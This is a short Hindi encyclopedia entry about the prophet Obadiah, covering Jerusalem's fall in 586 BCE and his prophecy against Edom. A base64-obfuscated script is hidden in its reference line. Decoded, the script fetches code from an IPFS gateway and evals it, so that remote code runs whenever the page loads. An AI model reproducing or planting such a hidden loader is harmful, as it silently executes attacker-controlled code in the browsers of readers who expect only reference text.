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ओबद्याह बारह गौण नबियों में से एक; उनके उपदेशों का संग्रह विस्तार की दृष्टि से बाइबिल का सबसे छोटा ग्रंथ है। बाबुल के सम्राट नबूखंदनेज्ज़ार की सेना ने 586 ई. पू. में यहूदियों की राजधानी जेरूसलम का विनाश किया था; इसके बाद एदोम के लोगों ने यहूदिया प्रांत लूटकर उसे अपने अधिकार में कर लिया था। ओबद्याह ने पाँचवीं शताब्दी ई.पू. में एदोम की हार तथा जेरूसलम के पुनर्वास की भविष्यवाणी की थी।[1]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 301 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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